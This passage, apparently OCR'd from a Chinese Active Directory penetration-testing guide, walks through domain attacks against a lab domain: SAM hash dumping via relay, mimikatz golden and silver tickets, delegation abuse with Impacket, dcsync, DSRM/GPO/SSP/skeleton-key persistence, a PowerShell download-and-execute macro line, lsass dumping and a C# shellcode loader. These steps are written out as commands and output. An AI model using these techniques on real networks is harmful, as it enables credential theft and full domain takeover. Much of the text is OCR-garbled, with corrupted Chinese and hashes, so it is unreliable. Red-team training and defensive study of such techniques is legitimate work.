LMNR] Poitygs...
BT-NS]
erver)

5.4, IHEE

Received connection from 172.16.127.170, attacking target smb

P°? [*] Authenticating against smb://172.16.127.173 as JUMBOLAB\winl@user SUCCEED
Po% [*] Target system bootKey: 0xf9259efl36cacca7b7ad®9cb0d921e61

SAM hashes (uid:rid:lmhash:nthash)
140c9d6ce7add9bdafoe609916834elb: 0cfde2daas8s5152ccflc968530da3e

PolGuest:501:aad3b435b51404eeaad3b435b51404ee: 31d6cTe0d16ae931b73c59d7e0c089CH: : :
[*] Done dumping SAM hashes for host: 172.16.127.173

SEETRER, FARRWEEE. JLAFIAsid history SR, REREUT:

pc1 /" pe2

7/ present TGS for servic

client

y

two-way domain trust / \

%
2\
.
%\
o
server

e enc w/ server's account hash

\



FEBWT, EAmimikatzZZREFigA9Krbtgt Hash:

Isadump::lsa /patch

imikatz #”lpgdump l;aﬁ{pgg
L= LS

C-I-IJ.I_LJ' P J. L LT

h
L=

c
~
=

649982 - 405361
LaRRR1f4 (500)

Administrator
b367819cPa8ccd792cadldi34f S6alf a

PODRALFS (SA1)
Quest X

P16 (SB02)
krbt gt

Salc26831592774al17+ 70370b8606449

B{FERpowerviewskEU A i AYsid :

Get-DomainComputer -Domain jumbolab.com




> Get-DomainComputer -Domain jumbolab.com

wdlastset : 2020/3/12 18:47:47

ogoncount 2 75

1sds-generationid = {210, 127, 65, 92...}

.erverreferenceb* : CN=DCSERVER,CN=Servers,CN=Default-First-Site-Name,CN

adpasswordtime :
istinguishedname . CN=DCSERVER ,0U=Domain Controllers,DC= jumbo]ab DC=com
bjectclass : {top, person, olganwzat1ona1Pe|son user...}
astlogontimestamp - 2020/3/26 11-40-01
ame : DCSERVER
bjectsid : S-1-5-21-4288736272-2299089681-4131927610-1001
Famaccountname :—BDCSERVERS
ocalpolicyflags : 0
odepage : 0
amaccounttype : MACHINE_ACCOUNT
henchanged - 2020/3/26 3:40:01
h i : NEVER
0

peratingsystem : Windows Server 2012 R2 Standard

instancetype :

isdfsr-computerreferencebl : CN=DCSERVER,CN=Topology,CN=Domain System Volume,CN=D
bolab,DC=com

bjectguid c bb3e4d4f d68c-4ble-a7fa-3345513a3752

peratingsystemversion -

astlogoff :

bbjectcategory : CN= omputel CN=Schema ,CN=Configuration,DC=jumbolab, D

scorepropagationdata - {2020/1/28 12:38: 48, 7020,1f75 10:28: 11 1601/1/1 O:

Eerviceprincipalname c {DFSF—IEFQA 7C-BF97-4787-9364-D31B6C55ER04 /DCServer .
b.com/ForestDnsZones. jumbolab.com, ldap/DCServer. jum

RIEHRII— N sid=519 W EERR, FIAmimikatzh T FH<S:

kerberos::golden /user:Administrator /krbtgt:5a1c26831592774a17f70370b8606449 /domain:child.jumbolab.com /sid:S-1-5-21-1786649982-4053697927-162
8754434 /sids:S-1-5-21-4288736272-2299089681-4131927610-519 /ptt

B2 AR IDIREN S A PR -



PS C:\Users\Administrator>

PS C:\Users\Administrator> $ENV:USERDNSDOMAIN

HILD. JUMBOLAB.COM

PS C:\Users\Administrator> dir \\dcserver. jumbolab.com\c$

PS C:\Users\Administrator> dir \\dcserver. jumbolab.com\c$

H 3 : \\dcserver. jumbolab.com\c$

LastwriteTime Length Name

2013/8/22 Sie PerfLogs
2020/2/14 147 Program Files
2013/8/22 - Program Files (x86)
2020/1/28 7: Users
2020/3/13 c Windows
2020/2/3 c 724339463 Windows8.1-KB2919355-x64 . msu
2020/2/3 c 10716210 windows8.1-KB2919442-x64 . msu

5.5, I¥EKerberos

EEt, SEZOHZEkerberosthilY, ERBSHNEMEERE, EETLUU—EBEAFRENEsystemiUR, EEAUREETLEREEIHIEIR,

5.5.1 PTT

HFAVMEXZ) Tkrbtgt hashid, BEfitA? HEFTE.

5.5.1.1 £E4F

LEREITms14-068, thfr4AKerberosti, FETTGTEMkrbtgtiNZE M. EILHZEEkrbtgtlikShashy, BATLMIE—MEENIRATItgtT



Domain Controller

./V

] —5
- ———6. APREP (optional U;ZR“\E(}? (present TGs for access)—
User’s Workstation ' €N Mutual authenticatio

B
nis requested)——

Application Server

ER7TE:

mimikatz

kerberos::purge
kerberos::golden /admin:administrator /domain:ig; /sid:SID /krbtgt: krbtgt hash{& /ticket:administrator.kiribi

kerberos::ptt administrator.kiribi

kerberos::tgt

dir \\dc.domain.com\c$

5.5.1.2 {RER
FENESRERMENTGT, REERMIETGCS, HRSKSEBINEZTAL.



Domain Controller

. E§
o / &F
- .

~ ya
_- .
ot re
P ‘
. ‘/
/ -~
. -
P —5. APF e .
= —6. AP REP (0ptiona] US_\d’if{El (present TGS for access)—
User’s Workstation - e mutualauthentication is requesteg)—

Application Server

FMRR7E:

mimikatz.exe "kerberos::golden /domain:ig; /sid:SID /target:igiz 2R /service: EifAIAYIRS, Wcifs /rc4:NTLM, itE#HKShash /user:user /ptt"
dir \\server\c$

<DIR>
Icserver . jumbolab.com /service: 3 <DIR> gs

g
5 /user:administrator /ptt ;:"::: Frogran File

<DIR>
<DIR>

Groups Id : =513 512 520 518 519 ' - et
erviceK 78bé&e93acc9954cBe90bcIB628F105 - rch_hmac| | 6 "B 43.838,545,9208 1

Se

jumbolab.com ser. JUMBOLAB.BAANDesktop>_

2030/6/7 22:34:56 ;

The Ticket ==

= PAC generated

= PAC signed

= EncTicketPart generated
» EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'administrator @ jumbolab.com’ succes
ent session

5.5.1.3kekeo
FFBkekeoi#1Tptt:

kekeo "tgt:ask /user:testl /domain:test.local /ntlm:7ECFFFF0C3548187607A14BADOF88BB1"

PITIREREYE TGT test1@TEST.LOCAL krbtgt~test.local @ TEST.LOCAL.kirbi



ETREAERE:

kekeo "kerberos:ptt TGT test1@TEST.LOCAL krbtgt~test.local @ TEST.LOCAL.kirbi"
dir \\server\c$

5.5.2FiR
5.5.2.1 BEFFFERLIREIR
EET:

‘! E Service B Domain Controller
Antacker
|

The attacker compromises Service A
and the DACL to configure resource-based

constrained delegation on Service B

The attacker configures resource-based constrained delegation
from Service A to Service B

|
|
I
» -
f T > >
‘ l 1 " A
| | 54U2Self for Administrator o
> »
| |
‘ |‘ Non-forwardable TGS for Administrator to Service A
H ™ T
| 1
o S4U2Proxy for Administrator to Service B -
b Lt
| I
. !‘ | 1GS for Administrator to Servica B
< 1
|

The attacker can pass-the-licket to gain access to Service B |
T >

MR AAYSBIEEETFRENYREREB(ZEMsDS-AllowedToActOnBehalfOfOtherldentity/@tt), MIBETLAEIE s4utiniy FRIEE N R ERXTAFITRIFA, FIEISEM
:
E@EE AP EATLURINTOMILEEN S, HRNspnspnspn$FigEmsds-allowedtoactonbehalfofotheridentity:

C:™lsers win7user.JUMBOLAB. BB \Desktop>SharpAllovedTofict.exe —m spnspnspn —p spn
spnspn —t win7? —a dcserver.jumbolab.com —d jumbholab.com

[+]1 Domain = jumbolab.com

[+] Domain Controller = dcserver.jumbholab.com

[+]1 New SAMAccountName = spnspnspn$%

[+] Distinguished Mame = CN=spnspnspn.CN=Computers.DC=jumbholab,.DC=comn
[+]1] Machine account spnspnspn added

[+]1 SID of New Computer: S5-1-5-21-4288736272-2299089681-4131927618-1124
[+]1 Attribute changed successfully

[+]1 Done?




get-adcomputer win7 -properties principalsallowedtodelegatetoaccount

=R 1 Bl =
Filt > get-adcomputer win7 -properties principalsallowedtodelegatetoaccount

D1stinguishedName : CN=WIN7,CN=Computers,DC=jumbolab,DC=com
DNSHostName : WIN7.jumbolab.com
Enabled : True
Name I WIN7Y
ObjectClass 1 _computer
ObjectGUID : e98f6144-af20-4d28-92ch-bc13b9b59b8e
PrincipalsAllowedToDelegateToAccount : {CN=spnspnspn,CN=Computers,DC=jumbolab,DC=com}
: WIN7S
: 5-1-5-21-4288736272-2299089681-4131927610-1113

FAs4uthi RIS SN RESE:

getST.py -dc-ip 172.16.127.173 jumbolab.com/spnspnspn\$:spnspnspn -spn cifs/win7.jumbolab.com -impersonate administrator

SEANERE:

export KRB5CCNAME=administrator.ccache

ina BiRLES :

smbexec.py -no-pass -k -debug win7.jumbolab.com




~ [ 14:41:15

$ getST.py -dc-ip 172.16.127.173 jumbolab.com/spnspnspn\$:spnspnspn
-spn cifs/win7.jumbolab.com -impersonate administrator

Impacket v0.9.21.dev1+20200313.160519.0056b61lc - Copyright 2020 Sec

ureAuth Corporation

[*] Getting TGT for user

[*] Impersonating administrator

[*] Requesting S4UZ2self

[*] Requesting S4UZ2Proxy

[*] Saving ticket in administrator.ccache

~ [ 14:41:58
$ export KRBS5CCNAME=administrator.ccache

£ 14:42:11
$ smbexec.py -no-pass -k -debug win7.jumbolab.com
Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 Sec
ureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python2.7/si
te-packages/impacket

[+] StringBinding ncacn_np:win?7.jumbolab.com[\pipe\svcctl]

[+] Using Kerberos Cache: administrator.ccache

[+] Domain retrieved from CCache: jumbolab.com

[+] Returning cached credential for CIFS/WIN7.JUMBOLAB.COM@JUMBOLAB
.COM

[+] Using TGS from cache

[+] Username retrieved from CCache: administrator

[+] Executing %COMSPEC% /Q /c echo cd A> \\127.0.0.1\C$\__output 2
A>A&L > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & d
el %TEMP%\execute.bat

[!'] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami

[+] Executing %COMSPEC% /Q /c echo whoami A> \\127.0.0.1\C$\__outpu
t 2A>A&1 > %TEMP¥%\execute.bat & %COMSPECY% /Q /c %TEMP¥%\execute.bat
& del %TEMP%\execute.bat

nt authority\system

C:\Windows\system3Z2>



5.5.2. 2§EYRFIR

EENT:
M";iir;:e Service 1 Service 2 KDC (Qnapprove)
{1) Kerberos login -
-t ".!} Ticket Granting Tad:et
{ 3] Request forwarded 'FGT—-«
*—{4} Forwarded TGT retumud
{5) Request ticket for Ser\rlm L —————
- "6] Ticket for Service 1
—{7} REequest—ie-
——(8) Request ticket for Service 2—m
a—{ 9 Ticket rér Service 2
_[llﬂsﬂl?:eurest_h
g—({11) Response—i
-l—{12) Response—
1 l——(13)Requestticket for Service N—e |
g 14} Tiicket for e T E— i
{15) Request as User .--
- {16) Response. i

MAEREE HuseripEservice 1 fRSZAT, WRservicelIREFHB TIFARZFIR, NttuseripdservicelfRSZES, RIIEBBMtgtRiEXLSservicel, EittservicelFJLAFIAuserfJtgtx
ihiElusera] LASIEIAGARSS . FIAIRRANT:
win7HlgEHE T IFNIREFIK:



vep| K 4 B XE B = HE
| Active Directory FFEEL], [DCServerjuml|| B8
- [ FEayEne &I DCs|
| 3 jumbolab.com 1% spn

e | == [ s | messs
54 | srEs | ®2ET | SR | zmsw | o | =mEs

m— Meprtl | mpe iseemint SAEESRES—EPES.
|| Computers Ml tes
—— d lers wl
b [£] ForeignSecurityPrincipals M wi O I EVRERO)
[ LostAndFound ® SR B SR EEES (R Kerberos)D)
b | Managed Service Accounts

O REEHTETEEREEIREW

% (R{&EFE Kerberos(K)

b (2] Microsoft Exchange Security Groups

b [ Program Data

b [] System
[ Users
b [ Microsoft Exchange System Objects
p [ ] NTDS Quotas
b [2] TPM Devices

EREABGERIEYN
PILASIH PR TR AaR RS (5):
el BFEHEN ] REER =%

TEHKNBF ASpoolerfTEIH RS EIRBH1LEIT T spoolerfR BRI BiEiTkerberossinti M R iERHEEH BIFHIEE:

The "printer bug”

<- two-way
Compromised Forest (FORESTB) forest trust -> Victim Forest (FORESTA)

SpoolSample.exedcserver win7



Sihitgt:

mimikatz
privilege::debug

sekurlsa::tickets /export

» mimikatz_trunk » x64

FI7F HE - i

__| [0:119fc7]-2-0-60a10000-DCSERVER$@krbtgt-JUMBOLAB.COM kirbi 2020,

rAAdnfdel A A cnoAannnn LT e el os HIRADRAL AN SRS LI

SANEE:

kerberos:ptt [0;1f9fc7]-2-0-60a10000-DCSERVER$ @krbtgt-JUMBOLAB.COM .kirbi

mimikatz # kerberos::ptt [0:1f9fc?]1-2-0-60a10000-DCSERVER$@krbtgt-JUMBOLAB.COM .k

irbi

win7#1z8 B0 A 3REX R E AP hash:

mimikatz # lsadump::dcsync /domain:jumbolab.com /all /csv
"jumbolab.com’ will be the domain
"DCServer. jumbolab.com’ will be the DC server

Exporting domain " jumbolab.com’
spntest$ 4bh945571290altbfd/bec34250b0B57210b

testtest$ 3c99h8901bART758369F18b9df 720128
DCSERVER2$ 9263cddodd?63bd 7 7al8f38045c605b3
CHILD$ dabfd33908d1fd62e9d28fd 714829082
spnspnspn$ 4T95f98akhef7a6801d8d315dclce7e8
WIN10$ aa3bd621f026faldd6b04833139a2096

RIMAFLIRFIR 2R T AR <
BERETEREIFNREZIRAF:

Get-NetUser -Unconstrained -Domain jumbolab.com

BRI PEREIFARBIRAIEN:




Get-NetComputer -Unconstrained -Domain jumbolab.com

5.5.2.3 YRZFiR
EEW T
User's . ) {Unapproved)
Machine Service 1 Service 2 KDC Service N

i——(1) Request—p-

I C 171 P8 S

gp—{3) Service t1ckcjr, as If from user

———{(5) Request—im-
S 54u2pr:m-:f far Senvice 2—--

l—{ 7] Ticket for Service 2

(8) Request
As User i

{0 R'Epﬂﬁﬁé--—-l

i—q—{m! Response—

RSN T:
FHERSBRF, test, HIEBEARER:



=HET | EEEs | &A E =2 = =ih
| TEEEHEEEEVH COM+ EteRE=s
=8 |t | &P EEVH | BiE | B | @9 | EEINES

ERE— =2HEIHEE . EaFrREREE I EMER.

O HMEEAFEASRIO)
O {SERAPERERBSHIERIR Kerberos)(D
® RETMBEFEREERSHIERL)
) {RERA Kerberos(K)
@ {EEH RIS ISIEH(N)
AL AP RS EEIRES):
it BFEHER, =0 REER 2%

DCServer.jumbol... jumbolab....

< | i | >

OFEE BEND.. || BEE

RESMKSATLAA—MERAFIREspnBIA]:

setspn.exe -U -A test/test test

Figtgt:




kekeo:

tgt::ask /user:test /domain:;jumbolab.com /password:aA123456

|| TGT_test@JUMBOLABE.COM_krbtgt~jumbolab.com@IJUMBEOLAB.COM.kirbi

FAAEMATtgtEREst:

kekeo:
tgs:sd4u /tgt:TGT _test@JUMBOLAB.COM krbtgt~jumbolab.com@JUMBOLAB.COM.kirbi /user:Administrator@jumbolab.com /service:cifs/dcserver.jumbolab.co

m

oy )

=55 (o f |
TGS_Administrator@jumbolab.com@JUMBOLAB.COM _cifs~dcserver,jumbolab.com@JUMB...  2020/6/13 14:19

TGS_Administrator@jumbolab.com@JUMBOLAB.COM_test@JUMBOLAB.COM.kirbi 2020/6/13 14:19

B \st:

mimikatz:

kerberos::ptt TGS _Administrator@jumbolab.com@JUMBOLAB.COM cifs~dcserver.jumbolab.com@JUMBOLAB.COM .kirbi

\UserswinZuser.JUMBOLAB. 088 \Desktop>dir “\“dcserversct

Nlsers winZuser . JUMBOLAB. 808 ~Desktop>
Nlsers winPuser . JUMBOLAB. 888 ~Desktop>
Nlsers winPuser . JUMBOLAB. A88~Desktop>
:NUsers winZuser. JUMBOLAB BBB\Deuktop>d11 N\deserversc$
22 \\dcserverscs MIHY:
| S8 EAF?-a28C

\deserversc$ E|L| B+

20200613 B1:19 29 BitlockerfictiveMonitoringLogs
2028-86.-13 12:57 12 debug.txt

2028-86-13 11:48 ExchangeSetupLogs

2020-06-89 22:49 inetpub

2020-06-88 23:38 ntdsutil

2A13-08-22 23:52 PerfLogs

2028-06-13 18:208 Program Files

2028-06.-13 B1:87 Program Files <(x86>

EMAREFIRAZFZT AR T an<:
BRI FEEYIREZIRAF:




Get-DomainUser -TrustedToAuth -Domain jumbolab.com

BRI PEELIRZIRRIEN:

Get-DomainComputer -TrustedToAuth -Domain jumbolab.com

/0 735

7, BETULURIE, EEEEBRHT, ROKRATLIEER.

HETEERE, TR EEH—LFH, LURIERSANIRYE

6.1, DSRM

ZAESTEE T izl LR EE RS,
DSRM, BERBRSEFER, EWindowsiRFSeEigiztlzeiLeEEmiETR. DSRMATERRAXRESHARIESHERENEREUEE. DSRMIKFIR EFHE
“Administrator” , tEiREE FENAEERKS, IEHERRKS, SEIEGEN, SUEHIIREDSRMER:

arlrurmant Canbanirstin
Deployment Configuration

Select functional level of the new domain
Domain Controller Options

Domain functional level: Windows Server 2012 R2 | - |

Specify domain controller capabilities and site information

Domain Mame System (DNS) server
Global Catalog (GC)

Site name: Default-First-Site-Name |'|

Type the Directory Services Restore Mode (DSRM) password
Password:

Confirm password:



BB TS EEE RS DSRMES:

ntdsutil

set DSRM password

SYNC FROM DOMAIN ACCOUNT username
Q

PS C:\Users\Administrator> ntdsutil
\W1ndows\systemB’\ntdsut11 exe: set DSRM password
5 5 DSRM g{ﬁﬁﬁT&j : SYNC FROM DOMAIN ACCOUNT win7
o

FE = F0Z S K 6] BIE 1E:
SYNC FROM DOMAIN ACCOUNT win7user
DSRM & 7 4

\W1ndows\system:Z\ntdsut11 exe: Q
PS C:\Users\Administrator> _

serviceaccount : 1108:aad3b435b51404eeaad3b435b51404ee : 31d6cfe0d16ae931bT3c chlr(-'f)[()ﬂflc 0:
winlOu 3b51404eeaad3b435b51404ee:81F0087c002 FORAF1 202501 £4bfedlS

winTusi 3b435b51404ed: b367 H]Qr{h?{rrdr‘)lw 1r\]d[le 56¢ |]h1 i
Adminis r6eLaBdtbae0atbToendre0eaS0a b
Guest: )()1 IJH 51404ecaad3bd35b51404ee: 31d6cfe0d16ae931b73c59d7e0c 0‘%"((

krbtg II]W 12d3b435b51404eeaad3b35b51404ee : 31d6e Fe0d] 6ae931bT73c59d7e0e089c0+:

b435b5] 40deesdd-

BEEE ERINEME:

reg add " HKLM\System\CurrentControlSet\Control\Lsa" /v DSRMAdminLogonBehavior /t REG_ DWORD /d 2

SiSApthiEad X

sekurlsa::pth /domain:computername /user:Administrator /ntlm: b367819c0a8ccd792cad1d034f56alfa




mimikatz # sekurls pth /domain:dcserver /user:Administrator /ntlm:b367819cBa8c
cd792cadld@34f56alfa

user : Administrator

domain : dcserver

program : cnd.exe

no
b367819cBa8ccd?92cadldBlifSbalfa
4056

2788

LUID B ; 2252 (0 fticros 801 .
msvl_B - data copy @ § > : rporation. 1f
k ros - data copy @
5_hmac
28_hmac
ch_hmac_nt
rcé_hmac_old deserverscs HIES
rch_mdb )
rch_hmac_nt_exp 2020,/86./89
rch_hmac_old_exp 0K 20200688
=Password replace @ QQ)@20i3 8822

En

P e
| =

2 inetpub
ntdsutil

PerfLogs

iy
\
\'|
\
\
\'\
\
\'I

2
2
2
2020/86,09 2
.. 2620,/8) 22 <DIR>
mimikatz # 20208/01./28 1
262080689 2
020,602,083 1

=44 <DIR>

6.2, GPO

LRV EERNRAT, TLABERINAREFER, STAPFBRE.
iz ERITIE R T
FIFFgpmc.msc , fRIBBAIAEZREL:



| EEREE
A #: jumbolab.com

Default Domain 1

TERE | iEmiEs | 58

4 lmH BE
4 Jumbotan.com AEERSTIESL:
=] Default Doma e
=! GDOTEST F=H(E).. HFlE=, HFENER
wr 1estGPO2 =N fres -
an TestGPO6 SRR 53 jumbolab.com
- 2] Domain Contr FEFESE).. J I
b il Microsoft Exc FEW) c i
b L RS MBSO W) :
b [ WMI Feitss ——— T i ok
I 5] Starter GPO It GPO A= R
b O 5 ==EM)
i R RIF(E) ==
o pegmes 281 52 Authenticated Use

RIE IR

< | i

| e o NPT SR |



|5 Default Domain Policy [DCSE

4 HENES x ~
e EE— e TSI

] B
4 i, BFEE
4[] R
=
4 [ Windows 25 I
— O
b [ MiE=EEER
b o ET SR QoS
b BT WAt E
] B

FHERS R AIZE SRS B R TR IMRAISI A :



=3 J&/IT I I |
HF | powerShell B

:=j TS H&(Default Domain Policy #1)

=55
1.bat

1 |I « {31B2F340-016D-11D2-945F-00C04FB984F9} » User » Scripts » Logen v

<
A iz & E=ET %

: I§ 1.bat 2020/6/12 23:40]  Wir
b BITRIEIE

N e

ssEarmiesEreTNEs  ~BR

L FMBE (C)
| @4 DD IR=hEE (E:) EXCH

< Shared Folders (\\vn

BTN T < iR H R A 5RES :

gpupdate /force

REFHREMNREREM ST NI /A

Xi5(F) fRIB(E) #EB0(Q) BEE() WEIH)




rpDo..  wmi

6.3. SSP

SecuritySupport ProviderI®fi#A—NdIl, BESZMESMHIAIE; SecuritySupport Provider Interfacel®2fiZ 5SSPHIAPI, BFHITRII SR LBFIRIE, NMSHIIE,
ERFBEHRIAHE, SSPRWINEEIsass.exed, B RIRFATTLUBEX — N dIERFRF DA INEE]Isass.exed,

FFmimikatz:

1. Bmimilib.dIIEFIFFIZc:\windows\system32

2. RhNiEME: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\SecurityPackages\

AIAmimilib.dll



3. ERRICRERMIRN:

BAILAARER, FIABRPCHIZSSP,

6.4, Skeleton Key

FlAmimikatzZ&E—NGEEERS, “mimikatz” |, CIREBITUSENT:
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c

privilege::debug

misc::skeleton

ST Lk <E, MALMER "mimikatz” EA—NHEREERE, XEREE, ZAEATRTIEIEERAREURR, FARARTLARRHIEE,



C:Nlsers winZuser.JUMBOLAB.ABB\Desktop>net use “Ndcserver '"mimikatz" suser:jumbo
labNadministrator

: ser-s\l-:in'?user.JUHBOLF:‘IB.EIEIE\Deskt prdir “Sdeserverscs
IEEN2E ~“dcserversed MH]
HHIFESS2E Ear?-a28c

\“deserverscs BL| BF

20200688 23:38 <DIR> ntdsutil

2013-88,22 23:52 <DIR> PerfLogs

20288523 22:38 <DIR> Program Files

2828-85-23 11:43 <DIR> Program Files (x86>
2828-81-28 17:23 <DIR> Users

20200688 22:135 <DIR> Windows

2828-82-83 15:18 724,339,463 Windows8.1-KB2919355-x64.msu
20200203 15:15 . 18,.716.218 Windows8.1-KB2919442-x64.msu

6.5, HookPasswordChangeNotify

BidtElsass.exeHEENI, XF@iFTHook PasswordChangeNotify= &SNP, %550 AF =g REKHIZ,
IMBEhE: https://github.com/Jumbo-WJB/Misc-Windows-Hacking

g m ZER: C\Windows\system32\cmd.exe -\

\Administrator\Desktop>net user winTuser a 56 /domain
R

C:\Users\Rdministrator\Desktop>

Temp
f
§ v AHEER (C) » Windows » Temp
ZR f
passwords.txt 2

password;.txtr . iCEA

44F) RR(E) 1834(0) EE(V) EN(H)
WinTuser\aA123456



/0 S R4b TR

FEEANIEF RS, HITRMSHFNIR, EE2NENedril LATH, ERFERM T2, BEtiasRdav, XNE2—REKATKE.

7.1. Powershell

E B cs B miiIpowershel A%, SERRIApsan <R, SHERIZE:

RIS ERSE

iRIREE

BRSEFEEEIET, EEL

REsEER: B C\Windows\System32
WindowsPowerShellw1.0\powershell.exe
REEPMS: PowerShell F&TE

ATENENZE, MRERALALIERF, HEETE
{E.

RLHEST (18)

sMO... Processmao... winword.exe ST FEAEER.Tar W

Z5|E R

BACRBEBR AR TXN S, BRAEBERN FIIREANS, MXMISXAEWERZT, i "~ , BRIHRT:



mbo>po wer sh’ell. nop -w hidden -¢ “IEX ((new-cbject net.we beclient). dc o adstring C http://114/

RBEERF: B C\Windows\System32
\WindowsPowerShell\v1.0\powershell.exe
FIEAZE: PowerShellasS AT
ATEMLEREZS, MEERARER, SHEIEHES

0... Processivio... winword.exe ShiksEial 18,
(1).rar

BATEERNAE

[ (=]
B
B
=
ai
™~
=

Wind

Data'\Local\Temp> jp. exe w hidden —¢ "IEX ((

IRREIR

EIVLIEN I

REgEE: B C\Users\Jumbo\AppDataiLocal

\Temp\jp.exe

RPEAE: PowerShel FEEIIE

ATENLEMNES, & INRILEER, AR LIS
. BEENERTETIHEAER, BENRREERE

fEPFEST  BEALEST (24)

BBt T

| jp. txt —nop -w hidden -¢ “IEX ((new-object net.webclient).downloadstring( http://1.2.3.4:80/a’))”

7.2, MMZEBIREBR



BEHEREEINBMATT Y, BEIEEEZ, TEER, BIEBEAD?
F—M, BEEa EEApowershellZad#iiTps1iRAIMimikatz:

ip. Object Net.WebClient).DownloadString( http:

entilkiwi. con

ST, FIFARPCHNESSP:
https://blog.xpnsec.com/exploring-mimikatz-part-2/
iklsass.exeH2dump WF:

load returns

PL = #s  &F -
& Bt — 1 s me -
W EEEE - X I ) e
B e B SHE B EOE R J
J HORORTE/J I KH:;E .
BIRR P s L8
« v 4 > UHEEBY » AHBEEER (C) » Windows » Temp
& fEEH
- HEiia] - :
= as EETI s

MR procdumptBal e :



‘ocdump64. exe —accepteula —ma 1lsass. exe lsass. dmp

dump files
inovich

1:07] Dump Jesktop) ss. dmp
:07] Dump 1 writi ) ed dump f 59 MB.
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[ N Payload Generator

This dialog generates a payload to stage a Cobalt
Strike listener. Several output options are available.

_ Listener: | | |_

_ Output: |C

C#
COM Scriptlet

Perl
PowerShell
PowerShell Command
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using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess

{

class Program
{
static void Main(string[] args)
{
// native function’ s compiled code
// generated with metasploit

byte[] shellcode = new byte[835] {




UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE _EXECUTE_READWRITE);
Marshal.Copy(shellcode, O, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadld = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, O, ref threadld);
WaitForSingleObject(hThread, OxFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[Dllimport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 IpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[Dlllmport("kernel32")]
private static extern bool VirtualFree(IntPtr IpAddress,
UInt32 dwsSize, UInt32 dwFreeType);
[Dllimport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 IpThreadAttributes,
UInt32 dwStackSize,
UInt32 IpStartAddress,
IntPtr param,

UInt32 dwCreationFlags,




ref UInt32 IpThreadld

)i

[Dllimport("kernel32")]

private static extern bool CloseHandle(IntPtr handle);
[Dllimport("kernel32")]

private static extern Ulnt32 WaitForSingleObject(
IntPtr hHandle,

UInt32 dwMilliseconds

)i

[Dllimport("kernel32")]

private static extern IntPtr GetModuleHandle(
string moduleName

)i

[Dllimport("kernel32")]

private static extern Ulnt32 GetProcAddress(
IntPtr hModule,

string procName

)i

[Dllimport("kernel32")]

private static extern UIlnt32 LoadLibrary(
string IpFileName

);

[DllImport("kernel32")]

private static extern UIlnt32 GetLastError();
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XEBWET LM TshellcodelIEREZH:
https://github.com/Jumbo-WJB/windows _exec ways

windows_exec_ways with msf
regsvr32(sct) : use exploit/multi/script/web_delivery set target 3
mshta(hta) : https://github.com/Jumbo-WJB/CACTUSTORCH

csc(cs) : https://github.com/Jumbo-WJB/InstallUtil-Shellcode-cs https://github.com/Jumbo-WJB/Bypass-McAfee-
Application-Control--Code-Execution

wmic(xsl):http://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html
msbuild(xml): https://github.com/Jumbo-WJB/nps_payload

winrm.vbs(WsmPty.xsl) : https://posts.specterops.iofapplication-whitelisting-bypass-and-arbitrary-unsigned-code-execution-
technique-in-winrm-vbs-c8c24fb40404

rundl32.exe(inf) : https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-
persistence/
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https://security.tencent.com/index.php/blog/msg/139

LARERG : RIVIEZERIR B https://security.tencent.com/index.php/blog/msg/133
EBy TR :
Rubeus:

https://github.com/GhostPack/Rubeus

PowerView:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Seatbelt:

https://github.com/GhostPack/Seatbelt

Bloodhound:

https://github.com/BloodHoundAD/BloodHound

Ruler:

https://github.com/sensepost/ruler


http://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ==&mid=2651199097&idx=1&sn=b69efa49cb2e4b3e27fe7d2679bed797&chksm=bd2cf3df8a5b7ac9c1deeeeb10c9e3167dbcb31dd10f040e09da0b4e3f61ae97d83f7fa73821&scene=21#wechat_redirect
http://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ==&mid=2651198501&idx=1&sn=c78935c9b94c2e38fb56e2af32cbfc9e&chksm=bd2cf1838a5b7895dc676d61aa9077be46c6fc8c99c90398f5f4ee53214928519c1ebda006a8&scene=21#wechat_redirect

MailSniper:
https://github.com/dafthack/MailSniper
ReGeorg:
https://github.com/sensepost/reGeorg
EarthWorm:
https://github.com/rootkiter/EarthWorm
PowerCat:
https://github.com/besimorhino/powercat
Mimikatz:
https://github.com/gentilkiwi/mimikatz
Tgsrepcrack:
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
Kerbrute:
https://github.com/ropnop/kerbrute
Responder:

https://github.com/Igandx/Responder



